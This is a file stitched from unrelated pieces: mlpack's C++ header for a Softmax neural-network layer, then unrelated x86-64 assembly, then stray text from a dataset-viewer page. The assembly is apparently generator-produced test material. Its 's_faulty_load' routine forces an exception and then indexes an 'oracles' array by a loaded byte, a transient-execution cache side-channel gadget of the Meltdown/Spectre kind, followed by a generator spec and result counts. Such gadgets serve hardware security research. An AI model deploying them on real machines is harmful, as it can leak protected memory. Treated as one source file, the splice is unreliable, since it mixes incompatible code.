* terms of the 3-clause BSD license. You should have received a copy of the
* 3-clause BSD license along with mlpack. If not, see
* http://www.opensource.org/licenses/BSD-3-Clause for more information.
*/
#ifndef MLPACK_METHODS_ANN_LAYER_SOFTMAX_HPP
#define MLPACK_METHODS_ANN_LAYER_SOFTMAX_HPP
#include <mlpack/prereqs.hpp>
namespace mlpack {
namespace ann /** Artificial Neural Network. */ {
/**
* Implementation of the Softmax layer. The softmax function takes as input a
* vector of K real numbers, and normalizes it into a probability distribution
* consisting of K probabilities proportional to the exponentials of the input
* numbers. It should be used for inference only and not with NLL loss (use
* LogSoftMax instead).
*
* @tparam InputDataType Type of the input data (arma::colvec, arma::mat,
* arma::sp_mat or arma::cube).
* @tparam OutputDataType Type of the output data (arma::colvec, arma::mat,
* arma::sp_mat or arma::cube).
*/
template <
typename InputDataType = arma::mat,
typename OutputDataType = arma::mat
>
class Softmax
{
public:
/**
* Create the Softmax object.
*/
Softmax();
/**
* Ordinary feed forward pass of a neural network, evaluating the function
* f(x) by propagating the activity forward through f.
*
* @param input Input data used for evaluating the specified function.
* @param output Resulting output activation.
*/
template<typename InputType, typename OutputType>
void Forward(const InputType& input, OutputType& output);
/**
* Ordinary feed backward pass of a neural network, calculating the function
* f(x) by propagating x backwards through f. Using the results from the feed
* forward pass.
*
* @param input The propagated input activation.
* @param gy The backpropagated error.
* @param g The calculated gradient.
*/
template<typename eT>
void Backward(const arma::Mat<eT>& input,
const arma::Mat<eT>& gy,
arma::Mat<eT>& g);
//! Get the output parameter.
OutputDataType& OutputParameter() const { return outputParameter; }
//! Modify the output parameter.
OutputDataType& OutputParameter() { return outputParameter; }
//! Get the delta.
InputDataType& Delta() const { return delta; }
//! Modify the delta.
InputDataType& Delta() { return delta; }
/**
* Serialize the layer.
*/
template<typename Archive>
void serialize(Archive& /* ar */, const uint32_t /* version */);
private:
//! Locally-stored delta object.
OutputDataType delta;
//! Locally-stored output parameter object.
OutputDataType outputParameter;
}; // class Softmax
} // namespace ann
} // namespace mlpack
// Include implementation.
#include "softmax_impl.hpp"
#endif
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r9
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_D_ht+0x15f24, %rcx
nop
and %r9, %r9
mov $0x6162636465666768, %rdx
movq %rdx, %xmm7
movups %xmm7, (%rcx)
nop
nop
nop
dec %r10
lea addresses_WC_ht+0xd508, %rsi
lea addresses_A_ht+0x1de24, %rdi
clflush (%rsi)
nop
nop
nop
xor %r12, %r12
mov $102, %rcx
rep movsb
nop
nop
nop
nop
add $37847, %r12
lea addresses_D_ht+0x9004, %rdi
nop
nop
add $34050, %rcx
mov (%rdi), %r12
nop
nop
nop
nop
xor %rsi, %rsi
lea addresses_UC_ht+0x1184, %r10
nop
nop
sub %rdi, %rdi
mov $0x6162636465666768, %rcx
movq %rcx, %xmm4
vmovups %ymm4, (%r10)
nop
nop
nop
xor %r9, %r9
lea addresses_WC_ht+0x2404, %rsi
lea addresses_normal_ht+0x94e4, %rdi
clflush (%rdi)
nop
nop
nop
nop
and $10476, %rax
mov $90, %rcx
rep movsw
nop
and $3565, %r9
lea addresses_normal_ht+0x1818e, %rdi
nop
nop
nop
nop
nop
xor %rsi, %rsi
mov $0x6162636465666768, %r10
movq %r10, %xmm2
and $0xffffffffffffffc0, %rdi
movntdq %xmm2, (%rdi)
nop
nop
nop
nop
xor %rcx, %rcx
lea addresses_UC_ht+0xa87d, %rsi
nop
and %rdx, %rdx
movl $0x61626364, (%rsi)
nop
nop
nop
cmp %rdi, %rdi
lea addresses_WT_ht+0x10704, %rsi
lea addresses_normal_ht+0x1978c, %rdi
clflush (%rsi)
clflush (%rdi)
nop
nop
nop
nop
and %rax, %rax
mov $72, %rcx
rep movsb
nop
nop
nop
nop
inc %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r15
push %r9
push %rbp
push %rdx
push %rsi
// Load
lea addresses_D+0x16d84, %r15
nop
nop
dec %r12
vmovups (%r15), %ymm7
vextracti128 $0, %ymm7, %xmm7
vpextrq $0, %xmm7, %rdx
nop
inc %rsi
// Store
lea addresses_PSE+0xbff4, %r15
nop
cmp $4478, %r11
mov $0x5152535455565758, %rdx
movq %rdx, %xmm4
vmovups %ymm4, (%r15)
// Exception!!!
nop
nop
mov (0), %rbp
nop
nop
nop
nop
add %rsi, %rsi
// Load
lea addresses_RW+0x1e87a, %r9
nop
nop
nop
nop
nop
cmp %rbp, %rbp
mov (%r9), %r12w
nop
nop
nop
nop
dec %r12
// Faulty Load
lea addresses_WT+0xfd84, %rsi
and %rdx, %rdx
movb (%rsi), %r9b
lea oracles, %rbp
and $0xff, %r9
shlq $12, %r9
mov (%rbp,%r9,1), %r9
pop %rsi
pop %rdx
pop %rbp
pop %r9
pop %r15
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0, 'same': False, 'type': 'addresses_WT'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 10, 'same': False, 'type': 'addresses_D'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 4, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': True, 'size': 2, 'congruent': 0, 'same': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': True, 'type': 'addresses_WT'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 5, 'same': True, 'type': 'addresses_D_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 2, 'same': False, 'type': 'addresses_WC_ht'}, 'dst': {'congruent': 4, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM'}
{'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 7, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 9, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 5, 'same': False, 'type': 'addresses_WC_ht'}, 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'}
{'dst': {'NT': True, 'AVXalign': False, 'size': 16, 'congruent': 1, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 7, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'}
{'39': 21829}
39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
*/
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.